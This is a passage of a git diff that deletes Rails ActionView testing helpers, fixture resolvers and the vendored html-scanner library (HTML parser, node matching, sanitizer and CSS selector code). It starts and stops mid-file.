- _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block)
- end # end
- end_eval
- end
- end
-
- attr_writer :helper_class
-
- def helper_class
- @helper_class ||= determine_default_helper_class(name)
- end
-
- def new(*)
- include_helper_modules!
- super
- end
-
- private
-
- def include_helper_modules!
- helper(helper_class) if helper_class
- include _helpers
- end
-
- end
-
- def setup_with_controller
- @controller = ActionView::TestCase::TestController.new
- @request = @controller.request
- @output_buffer = ActiveSupport::SafeBuffer.new
- @rendered = ''
-
- make_test_case_available_to_view!
- say_no_to_protect_against_forgery!
- end
-
- def config
- @controller.config if @controller.respond_to?(:config)
- end
-
- def render(options = {}, local_assigns = {}, &block)
- view.assign(view_assigns)
- @rendered << output = view.render(options, local_assigns, &block)
- output
- end
-
- def rendered_views
- @_rendered_views ||= RenderedViewsCollection.new
- end
-
- class RenderedViewsCollection
- def initialize
- @rendered_views ||= {}
- end
-
- def add(view, locals)
- @rendered_views[view] ||= []
- @rendered_views[view] << locals
- end
-
- def locals_for(view)
- @rendered_views[view]
- end
-
- def view_rendered?(view, expected_locals)
- locals_for(view).any? do |actual_locals|
- expected_locals.all? {|key, value| value == actual_locals[key] }
- end
- end
- end
-
- included do
- setup :setup_with_controller
- end
-
- private
-
- # Support the selector assertions
- #
- # Need to experiment if this priority is the best one: rendered => output_buffer
- def response_from_page
- HTML::Document.new(@rendered.blank? ? @output_buffer : @rendered).root
- end
-
- def say_no_to_protect_against_forgery!
- _helpers.module_eval do
- remove_possible_method :protect_against_forgery?
- def protect_against_forgery?
- false
- end
- end
- end
-
- def make_test_case_available_to_view!
- test_case_instance = self
- _helpers.module_eval do
- unless private_method_defined?(:_test_case)
- define_method(:_test_case) { test_case_instance }
- private :_test_case
- end
- end
- end
-
- module Locals
- attr_accessor :rendered_views
-
- def render(options = {}, local_assigns = {})
- case options
- when Hash
- if block_given?
- rendered_views.add options[:layout], options[:locals]
- elsif options.key?(:partial)
- rendered_views.add options[:partial], options[:locals]
- end
- else
- rendered_views.add options, local_assigns
- end
-
- super
- end
- end
-
- # The instance of ActionView::Base that is used by +render+.
- def view
- @view ||= begin
- view = @controller.view_context
- view.singleton_class.send :include, _helpers
- view.extend(Locals)
- view.rendered_views = self.rendered_views
- view.output_buffer = self.output_buffer
- view
- end
- end
-
- alias_method :_view, :view
-
- INTERNAL_IVARS = [
- :@__name__,
- :@__io__,
- :@_assertion_wrapped,
- :@_assertions,
- :@_result,
- :@_routes,
- :@controller,
- :@_layouts,
- :@_rendered_views,
- :@method_name,
- :@output_buffer,
- :@_partials,
- :@passed,
- :@rendered,
- :@request,
- :@routes,
- :@tagged_logger,
- :@_templates,
- :@options,
- :@test_passed,
- :@view,
- :@view_context_class
- ]
-
- def _user_defined_ivars
- instance_variables - INTERNAL_IVARS
- end
-
- # Returns a Hash of instance variables and their values, as defined by
- # the user in the test case, which are then assigned to the view being
- # rendered. This is generally intended for internal use and extension
- # frameworks.
- def view_assigns
- Hash[_user_defined_ivars.map do |ivar|
- [ivar[1..-1].to_sym, instance_variable_get(ivar)]
- end]
- end
-
- def _routes
- @controller._routes if @controller.respond_to?(:_routes)
- end
-
- def method_missing(selector, *args)
- if @controller.respond_to?(:_routes) &&
- ( @controller._routes.named_routes.helpers.include?(selector) ||
- @controller._routes.mounted_helpers.method_defined?(selector) )
- @controller.__send__(selector, *args)
- else
- super
- end
- end
- end
-
- include Behavior
- end
-end
diff --git a/actionpack/lib/action_view/testing/resolvers.rb b/actionpack/lib/action_view/testing/resolvers.rb
deleted file mode 100644
index 7afa2fa613..0000000000
--- a/actionpack/lib/action_view/testing/resolvers.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'action_view/template/resolver'
-
-module ActionView #:nodoc:
- # Use FixtureResolver in your tests to simulate the presence of files on the
- # file system. This is used internally by Rails' own test suite, and is
- # useful for testing extensions that have no way of knowing what the file
- # system will look like at runtime.
- class FixtureResolver < PathResolver
- attr_reader :hash
-
- def initialize(hash = {}, pattern=nil)
- super(pattern)
- @hash = hash
- end
-
- def to_s
- @hash.keys.join(', ')
- end
-
- private
-
- def query(path, exts, formats)
- query = ""
- EXTENSIONS.each do |ext|
- query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
- end
- query = /^(#{Regexp.escape(path)})#{query}$/
-
- templates = []
- @hash.each do |_path, array|
- source, updated_at = array
- next unless _path =~ query
- handler, format = extract_handler_and_format(_path, formats)
- templates << Template.new(source, _path, handler,
- :virtual_path => path.virtual, :format => format, :updated_at => updated_at)
- end
-
- templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
- end
- end
-
- class NullResolver < PathResolver
- def query(path, exts, formats)
- handler, format = extract_handler_and_format(path, formats)
- [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format)]
- end
- end
-
-end
-
diff --git a/actionpack/lib/action_view/vendor/html-scanner.rb b/actionpack/lib/action_view/vendor/html-scanner.rb
deleted file mode 100644
index 775b827529..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/html-scanner"
-
-module HTML
- extend ActiveSupport::Autoload
-
- eager_autoload do
- autoload :CDATA, 'html/node'
- autoload :Document, 'html/document'
- autoload :FullSanitizer, 'html/sanitizer'
- autoload :LinkSanitizer, 'html/sanitizer'
- autoload :Node, 'html/node'
- autoload :Sanitizer, 'html/sanitizer'
- autoload :Selector, 'html/selector'
- autoload :Tag, 'html/node'
- autoload :Text, 'html/node'
- autoload :Tokenizer, 'html/tokenizer'
- autoload :Version, 'html/version'
- autoload :WhiteListSanitizer, 'html/sanitizer'
- end
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/document.rb b/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
deleted file mode 100644
index 386820300a..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'html/tokenizer'
-require 'html/node'
-require 'html/selector'
-require 'html/sanitizer'
-
-module HTML #:nodoc:
- # A top-level HTML document. You give it a body of text, and it will parse that
- # text into a tree of nodes.
- class Document #:nodoc:
-
- # The root of the parsed document.
- attr_reader :root
-
- # Create a new Document from the given text.
- def initialize(text, strict=false, xml=false)
- tokenizer = Tokenizer.new(text)
- @root = Node.new(nil)
- node_stack = [ @root ]
- while token = tokenizer.next
- node = Node.parse(node_stack.last, tokenizer.line, tokenizer.position, token, strict)
-
- node_stack.last.children << node unless node.tag? && node.closing == :close
- if node.tag?
- if node_stack.length > 1 && node.closing == :close
- if node_stack.last.name == node.name
- if node_stack.last.children.empty?
- node_stack.last.children << Text.new(node_stack.last, node.line, node.position, "")
- end
- node_stack.pop
- else
- open_start = node_stack.last.position - 20
- open_start = 0 if open_start < 0
- close_start = node.position - 20
- close_start = 0 if close_start < 0
- msg = <<EOF.strip
-ignoring attempt to close #{node_stack.last.name} with #{node.name}
- opened at byte #{node_stack.last.position}, line #{node_stack.last.line}
- closed at byte #{node.position}, line #{node.line}
- attributes at open: #{node_stack.last.attributes.inspect}
- text around open: #{text[open_start,40].inspect}
- text around close: #{text[close_start,40].inspect}
-EOF
- strict ? raise(msg) : warn(msg)
- end
- elsif !node.childless?(xml) && node.closing != :close
- node_stack.push node
- end
- end
- end
- end
-
- # Search the tree for (and return) the first node that matches the given
- # conditions. The conditions are interpreted differently for different node
- # types, see HTML::Text#find and HTML::Tag#find.
- def find(conditions)
- @root.find(conditions)
- end
-
- # Search the tree for (and return) all nodes that match the given
- # conditions. The conditions are interpreted differently for different node
- # types, see HTML::Text#find and HTML::Tag#find.
- def find_all(conditions)
- @root.find_all(conditions)
- end
-
- end
-
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/node.rb b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
deleted file mode 100644
index 7e7cd4f7b6..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
+++ /dev/null
@@ -1,532 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
- class Conditions < Hash #:nodoc:
- def initialize(hash)
- super()
- hash = { :content => hash } unless Hash === hash
- hash = keys_to_symbols(hash)
- hash.each do |k,v|
- case k
- when :tag, :content then
- # keys are valid, and require no further processing
- when :attributes then
- hash[k] = keys_to_strings(v)
- when :parent, :child, :ancestor, :descendant, :sibling, :before,
- :after
- hash[k] = Conditions.new(v)
- when :children
- hash[k] = v = keys_to_symbols(v)
- v.each do |key,value|
- case key
- when :count, :greater_than, :less_than
- # keys are valid, and require no further processing
- when :only
- v[key] = Conditions.new(value)
- else
- raise "illegal key #{key.inspect} => #{value.inspect}"
- end
- end
- else
- raise "illegal key #{k.inspect} => #{v.inspect}"
- end
- end
- update hash
- end
-
- private
-
- def keys_to_strings(hash)
- Hash[hash.keys.map {|k| [k.to_s, hash[k]]}]
- end
-
- def keys_to_symbols(hash)
- Hash[hash.keys.map do |k|
- raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
- [k.to_sym, hash[k]]
- end]
- end
- end
-
- # The base class of all nodes, textual and otherwise, in an HTML document.
- class Node #:nodoc:
- # The array of children of this node. Not all nodes have children.
- attr_reader :children
-
- # The parent node of this node. All nodes have a parent, except for the
- # root node.
- attr_reader :parent
-
- # The line number of the input where this node was begun
- attr_reader :line
-
- # The byte position in the input where this node was begun
- attr_reader :position
-
- # Create a new node as a child of the given parent.
- def initialize(parent, line=0, pos=0)
- @parent = parent
- @children = []
- @line, @position = line, pos
- end
-
- # Return a textual representation of the node.
- def to_s
- @children.join()
- end
-
- # Return false (subclasses must override this to provide specific matching
- # behavior.) +conditions+ may be of any type.
- def match(conditions)
- false
- end
-
- # Search the children of this node for the first node for which #find
- # returns non +nil+. Returns the result of the #find call that succeeded.
- def find(conditions)
- conditions = validate_conditions(conditions)
- @children.each do |child|
- node = child.find(conditions)
- return node if node
- end
- nil
- end
-
- # Search for all nodes that match the given conditions, and return them
- # as an array.
- def find_all(conditions)
- conditions = validate_conditions(conditions)
-
- matches = []
- matches << self if match(conditions)
- @children.each do |child|
- matches.concat child.find_all(conditions)
- end
- matches
- end
-
- # Returns +false+. Subclasses may override this if they define a kind of
- # tag.
- def tag?
- false
- end
-
- def validate_conditions(conditions)
- Conditions === conditions ? conditions : Conditions.new(conditions)
- end
-
- def ==(node)
- return false unless self.class == node.class && children.size == node.children.size
-
- equivalent = true
-
- children.size.times do |i|
- equivalent &&= children[i] == node.children[i]
- end
-
- equivalent
- end
-
- class <<self
- def parse(parent, line, pos, content, strict=true)
- if content !~ /^<\S/
- Text.new(parent, line, pos, content)
- else
- scanner = StringScanner.new(content)
-
- unless scanner.skip(/</)
- if strict
- raise "expected <"
- else
- return Text.new(parent, line, pos, content)
- end
- end
-
- if scanner.skip(/!\[CDATA\[/)
- unless scanner.skip_until(/\]\]>/)
- if strict
- raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
- else
- scanner.skip_until(/\Z/)
- end
- end
-
- return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
- end
-
- closing = ( scanner.scan(/\//) ? :close : nil )
- return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
- name.downcase!
-
- unless closing
- scanner.skip(/\s*/)
- attributes = {}
- while attr = scanner.scan(/[-\w:]+/)
- value = true
- if scanner.scan(/\s*=\s*/)
- if delim = scanner.scan(/['"]/)
- value = ""
- while text = scanner.scan(/[^#{delim}\\]+|./)
- case text
- when "\\" then
- value << text
- break if scanner.eos?
- value << scanner.getch
- when delim
- break
- else value << text
- end
- end
- else
- value = scanner.scan(/[^\s>\/]+/)
- end
- end
- attributes[attr.downcase] = value
- scanner.skip(/\s*/)
- end
-
- closing = ( scanner.scan(/\//) ? :self : nil )
- end
-
- unless scanner.scan(/\s*>/)
- if strict
- raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})"
- else
- # throw away all text until we find what we're looking for
- scanner.skip_until(/>/) or scanner.terminate
- end
- end
-
- Tag.new(parent, line, pos, name, attributes, closing)
- end
- end
- end
- end
-
- # A node that represents text, rather than markup.
- class Text < Node #:nodoc:
-
- attr_reader :content
-
- # Creates a new text node as a child of the given parent, with the given
- # content.
- def initialize(parent, line, pos, content)
- super(parent, line, pos)
- @content = content
- end
-
- # Returns the content of this node.
- def to_s
- @content
- end
-
- # Returns +self+ if this node meets the given conditions. Text nodes support
- # conditions of the following kinds:
- #
- # * if +conditions+ is a string, it must be a substring of the node's
- # content
- # * if +conditions+ is a regular expression, it must match the node's
- # content
- # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
- # is either a string or a regexp, and which is interpreted as described
- # above.
- def find(conditions)
- match(conditions) && self
- end
-
- # Returns non-+nil+ if this node meets the given conditions, or +nil+
- # otherwise. See the discussion of #find for the valid conditions.
- def match(conditions)
- case conditions
- when String
- @content == conditions
- when Regexp
- @content =~ conditions
- when Hash
- conditions = validate_conditions(conditions)
-
- # Text nodes only have :content, :parent, :ancestor
- unless (conditions.keys - [:content, :parent, :ancestor]).empty?
- return false
- end
-
- match(conditions[:content])
- else
- nil
- end
- end
-
- def ==(node)
- return false unless super
- content == node.content
- end
- end
-
- # A CDATA node is simply a text node with a specialized way of displaying
- # itself.
- class CDATA < Text #:nodoc:
- def to_s
- "<![CDATA[#{super}]]>"
- end
- end
-
- # A Tag is any node that represents markup. It may be an opening tag, a
- # closing tag, or a self-closing tag. It has a name, and may have a hash of
- # attributes.
- class Tag < Node #:nodoc:
-
- # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
- attr_reader :closing
-
- # Either +nil+, or a hash of attributes for this node.
- attr_reader :attributes
-
- # The name of this tag.
- attr_reader :name
-
- # Create a new node as a child of the given parent, using the given content
- # to describe the node. It will be parsed and the node name, attributes and
- # closing status extracted.
- def initialize(parent, line, pos, name, attributes, closing)
- super(parent, line, pos)
- @name = name
- @attributes = attributes
- @closing = closing
- end
-
- # A convenience for obtaining an attribute of the node. Returns +nil+ if
- # the node has no attributes.
- def [](attr)
- @attributes ? @attributes[attr] : nil
- end
-
- # Returns non-+nil+ if this tag can contain child nodes.
- def childless?(xml = false)
- return false if xml && @closing.nil?
- !@closing.nil? ||
- @name =~ /^(img|br|hr|link|meta|area|base|basefont|
- col|frame|input|isindex|param)$/ox
- end
-
- # Returns a textual representation of the node
- def to_s
- if @closing == :close
- "</#{@name}>"
- else
- s = "<#{@name}"
- @attributes.each do |k,v|
- s << " #{k}"
- s << "=\"#{v}\"" if String === v
- end
- s << " /" if @closing == :self
- s << ">"
- @children.each { |child| s << child.to_s }
- s << "</#{@name}>" if @closing != :self && !@children.empty?
- s
- end
- end
-
- # If either the node or any of its children meet the given conditions, the
- # matching node is returned. Otherwise, +nil+ is returned. (See the
- # description of the valid conditions in the +match+ method.)
- def find(conditions)
- match(conditions) && self || super
- end
-
- # Returns +true+, indicating that this node represents an HTML tag.
- def tag?
- true
- end
-
- # Returns +true+ if the node meets any of the given conditions. The
- # +conditions+ parameter must be a hash of any of the following keys
- # (all are optional):
- #
- # * <tt>:tag</tt>: the node name must match the corresponding value
- # * <tt>:attributes</tt>: a hash. The node's values must match the
- # corresponding values in the hash.
- # * <tt>:parent</tt>: a hash. The node's parent must match the
- # corresponding hash.
- # * <tt>:child</tt>: a hash. At least one of the node's immediate children
- # must meet the criteria described by the hash.
- # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
- # meet the criteria described by the hash.
- # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
- # must meet the criteria described by the hash.
- # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
- # meet the criteria described by the hash.
- # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
- # the criteria described by the hash, and at least one sibling must match.
- # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
- # the criteria described by the hash, and at least one sibling must match.
- # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
- # keys:
- # ** <tt>:count</tt>: either a number or a range which must equal (or
- # include) the number of children that match.
- # ** <tt>:less_than</tt>: the number of matching children must be less than
- # this number.
- # ** <tt>:greater_than</tt>: the number of matching children must be
- # greater than this number.
- # ** <tt>:only</tt>: another hash consisting of the keys to use
- # to match on the children, and only matching children will be
- # counted.
- #
- # Conditions are matched using the following algorithm:
- #
- # * if the condition is a string, it must be a substring of the value.
- # * if the condition is a regexp, it must match the value.
- # * if the condition is a number, the value must match number.to_s.
- # * if the condition is +true+, the value must not be +nil+.
- # * if the condition is +false+ or +nil+, the value must be +nil+.
- #
- # Usage:
- #
- # # test if the node is a "span" tag
- # node.match tag: "span"
- #
- # # test if the node's parent is a "div"
- # node.match parent: { tag: "div" }
- #
- # # test if any of the node's ancestors are "table" tags
- # node.match ancestor: { tag: "table" }
- #
- # # test if any of the node's immediate children are "em" tags
- # node.match child: { tag: "em" }
- #
- # # test if any of the node's descendants are "strong" tags
- # node.match descendant: { tag: "strong" }
- #
- # # test if the node has between 2 and 4 span tags as immediate children
- # node.match children: { count: 2..4, only: { tag: "span" } }
- #
- # # get funky: test to see if the node is a "div", has a "ul" ancestor
- # # and an "li" parent (with "class" = "enum"), and whether or not it has
- # # a "span" descendant that contains # text matching /hello world/:
- # node.match tag: "div",
- # ancestor: { tag: "ul" },
- # parent: { tag: "li",
- # attributes: { class: "enum" } },
- # descendant: { tag: "span",
- # child: /hello world/ }
- def match(conditions)
- conditions = validate_conditions(conditions)
- # check content of child nodes
- if conditions[:content]
- if children.empty?
- return false unless match_condition("", conditions[:content])
- else
- return false unless children.find { |child| child.match(conditions[:content]) }
- end
- end
-
- # test the name
- return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
- # test attributes
- (conditions[:attributes] || {}).each do |key, value|
- return false unless match_condition(self[key], value)
- end
-
- # test parent
- return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
- # test children
- return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-
- # test ancestors
- if conditions[:ancestor]
- return false unless catch :found do
- p = self
- throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
- end
- end
-
- # test descendants
- if conditions[:descendant]
- return false unless children.find do |child|
- # test the child
- child.match(conditions[:descendant]) ||
- # test the child's descendants
- child.match(:descendant => conditions[:descendant])
- end
- end
-
- # count children
- if opts = conditions[:children]
- matches = children.select do |c|
- (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
- end
-
- matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
- opts.each do |key, value|
- next if key == :only
- case key
- when :count
- if Integer === value
- return false if matches.length != value
- else
- return false unless value.include?(matches.length)
- end
- when :less_than
- return false unless matches.length < value
- when :greater_than
- return false unless matches.length > value
- else raise "unknown count condition #{key}"
- end
- end
- end
-
- # test siblings
- if conditions[:sibling] || conditions[:before] || conditions[:after]
- siblings = parent ? parent.children : []
- self_index = siblings.index(self)
-
- if conditions[:sibling]
- return false unless siblings.detect do |s|
- s != self && s.match(conditions[:sibling])
- end
- end
-
- if conditions[:before]
- return false unless siblings[self_index+1..-1].detect do |s|
- s != self && s.match(conditions[:before])
- end
- end
-
- if conditions[:after]
- return false unless siblings[0,self_index].detect do |s|
- s != self && s.match(conditions[:after])
- end
- end
- end
-
- true
- end
-
- def ==(node)
- return false unless super
- return false unless closing == node.closing && self.name == node.name
- attributes == node.attributes
- end
-
- private
- # Match the given value to the given condition.
- def match_condition(value, condition)
- case condition
- when String
- value && value == condition
- when Regexp
- value && value.match(condition)
- when Numeric
- value == condition.to_s
- when true
- !value.nil?
- when false, nil
- value.nil?
- else
- false
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
deleted file mode 100644
index 6b4ececda2..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'set'
-require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
-
-module HTML
- class Sanitizer
- def sanitize(text, options = {})
- validate_options(options)
- return text unless sanitizeable?(text)
- tokenize(text, options).join
- end
-
- def sanitizeable?(text)
- !(text.nil? || text.empty? || !text.index("<"))
- end
-
- protected
- def tokenize(text, options)
- tokenizer = HTML::Tokenizer.new(text)
- result = []
- while token = tokenizer.next
- node = Node.parse(nil, 0, 0, token, false)
- process_node node, result, options
- end
- result
- end
-
- def process_node(node, result, options)
- result << node.to_s
- end
-
- def validate_options(options)
- if options[:tags] && !options[:tags].is_a?(Enumerable)
- raise ArgumentError, "You should pass :tags as an Enumerable"
- end
-
- if options[:attributes] && !options[:attributes].is_a?(Enumerable)
- raise ArgumentError, "You should pass :attributes as an Enumerable"
- end
- end
- end
-
- class FullSanitizer < Sanitizer
- def sanitize(text, options = {})
- result = super
- # strip any comments, and if they have a newline at the end (ie. line with
- # only a comment) strip that too
- result = result.gsub(/<!--(.*?)-->[\n]?/m, "") if (result && result =~ /<!--(.*?)-->[\n]?/m)
- # Recurse - handle all dirty nested tags
- result == text ? result : sanitize(result, options)
- end
-
- def process_node(node, result, options)
- result << node.to_s if node.class == HTML::Text
- end
- end
-
- class LinkSanitizer < FullSanitizer
- cattr_accessor :included_tags, :instance_writer => false
- self.included_tags = Set.new(%w(a href))
-
- def sanitizeable?(text)
- !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
- end
-
- protected
- def process_node(node, result, options)
- result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name)
- end
- end
-
- class WhiteListSanitizer < Sanitizer
- [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
- :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
- class_attribute attr, :instance_writer => false
- end
-
- # A regular expression of the valid characters used to separate protocols like
- # the ':' in 'http://foo.com'
- self.protocol_separator = /:|(&#0*58)|(&#x70)|(%|&#37;)3A/
-
- # Specifies a Set of HTML attributes that can have URIs.
- self.uri_attributes = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
-
- # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
- # to just escaping harmless tags like &lt;font&gt;
- self.bad_tags = Set.new(%w(script))
-
- # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
- self.allowed_tags = Set.new(%w(strong em b i p code pre tt samp kbd var sub
- sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
- acronym a img blockquote del ins))
-
- # Specifies the default Set of html attributes that the #sanitize helper will leave
- # in the allowed tag.
- self.allowed_attributes = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
-
- # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
- self.allowed_protocols = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
- feed svn urn aim rsync tag ssh sftp rtsp afs))
-
- # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
- self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
- border-color border-left-color border-right-color border-top-color clear color cursor direction display
- elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
- overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
- speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
- width))
-
- # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
- self.allowed_css_keywords = Set.new(%w(auto aqua black block blue bold both bottom brown center
- collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
- nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
-
- # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
- self.shorthand_css_properties = Set.new(%w(background border margin padding))
-
- # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
- def sanitize_css(style)
- # disallow urls
- style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
- # gauntlet
- if style !~ /^([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*$/ ||
- style !~ /^(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*$/
- return ''
- end
-
- clean = []
- style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
- if allowed_css_properties.include?(prop.downcase)
- clean << prop + ': ' + val + ';'
- elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
- unless val.split().any? do |keyword|
- !allowed_css_keywords.include?(keyword) &&
- keyword !~ /^(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)$/
- end
- clean << prop + ': ' + val + ';'
- end
- end
- end
- clean.join(' ')
- end
-
- protected
- def tokenize(text, options)
- options[:parent] = []
- options[:attributes] ||= allowed_attributes
- options[:tags] ||= allowed_tags
- super
- end
-
- def process_node(node, result, options)
- result << case node
- when HTML::Tag
- if node.closing == :close
- options[:parent].shift
- else
- options[:parent].unshift node.name
- end
-
- process_attributes_for node, options
-
- options[:tags].include?(node.name) ? node : nil
- else
- bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "&lt;")
- end
- end
-
- def process_attributes_for(node, options)
- return unless node.attributes
- node.attributes.keys.each do |attr_name|
- value = node.attributes[attr_name].to_s
-
- if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
- node.attributes.delete(attr_name)
- else
- node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
- end
- end
- end
-
- def contains_bad_protocols?(attr_name, value)
- uri_attributes.include?(attr_name) &&
- (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(%|&#37;)3A/ && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
- end
- end
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
deleted file mode 100644
index 60b6783b19..0000000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
+++ /dev/null
@@ -1,830 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module HTML
-
- # Selects HTML elements using CSS 2 selectors.
- #
- # The +Selector+ class uses CSS selector expressions to match and select
- # HTML elements.
- #
- # For example:
- # selector = HTML::Selector.new "form.login[action=/login]"
- # creates a new selector that matches any +form+ element with the class
- # +login+ and an attribute +action+ with the value <tt>/login</tt>.
- #
- # === Matching Elements
- #
- # Use the #match method to determine if an element matches the selector.
- #
- # For simple selectors, the method returns an array with that element,
- # or +nil+ if the element does not match. For complex selectors (see below)
- # the method returns an array with all matched elements, of +nil+ if no
- # match found.
- #
- # For example:
- # if selector.match(element)
- # puts "Element is a login form"
- # end
- #
- # === Selecting Elements
- #
- # Use the #select method to select all matching elements starting with
- # one element and going through all children in depth-first order.
- #
- # This method returns an array of all matching elements, an empty array
- # if no match is found
- #
- # For example:
- # selector = HTML::Selector.new "input[type=text]"
- # matches = selector.select(element)
- # matches.each do |match|
- # puts "Found text field with name #{match.attributes['name']}"
- # end
- #
- # === Expressions
- #
- # Selectors can match elements using any of the following criteria:
- # * <tt>name</tt> -- Match an element based on its name (tag name).
- # For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
- # to match any element.
- # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
- # <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
- # * <tt>.class</tt> -- Match an element based on its class name, all
- # class names if more than one specified.
- # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
- # * <tt>[attr=value]</tt> -- Match an element that has the specified
- # attribute and value. (More operators are supported see below)
- # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
- # such as <tt>:nth-child</tt> and <tt>:empty</tt>.
- # * <tt>:not(expr)</tt> -- Match an element that does not match the
- # negation expression.
- #
- # When using a combination of the above, the element name comes first
- # followed by identifier, class names, attributes, pseudo classes and
- # negation in any order. Do not separate these parts with spaces!
- # Space separation is used for descendant selectors.
- #
- # For example:
- # selector = HTML::Selector.new "form.login[action=/login]"
- # The matched element must be of type +form+ and have the class +login+.
- # It may have other classes, but the class +login+ is required to match.
- # It must also have an attribute called +action+ with the value
- # <tt>/login</tt>.
- #
- # This selector will match the following element:
- # <form class="login form" method="post" action="/login">
- # but will not match the element:
- # <form method="post" action="/logout">
- #
- # === Attribute Values
- #
- # Several operators are supported for matching attributes:
- # * <tt>name</tt> -- The element must have an attribute with that name.
- # * <tt>name=value</tt> -- The element must have an attribute with that
- # name and value.
- # * <tt>name^=value</tt> -- The attribute value must start with the
- # specified value.
- # * <tt>name$=value</tt> -- The attribute value must end with the
- # specified value.
- # * <tt>name*=value</tt> -- The attribute value must contain the
- # specified value.
- # * <tt>name~=word</tt> -- The attribute value must contain the specified
- # word (space separated).
- # * <tt>name|=word</tt> -- The attribute value must start with specified
- # word.
- #
- # For example, the following two selectors match the same element:
- # #my_id
- # [id=my_id]
- # and so do the following two selectors:
- # .my_class
- # [class~=my_class]
- #
- # === Alternatives, siblings, children
- #
- # Complex selectors use a combination of expressions to match elements:
- # * <tt>expr1 expr2</tt> -- Match any element against the second expression
- # if it has some parent element that matches the first expression.
- # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
- # if it is the child of an element that matches the first expression.
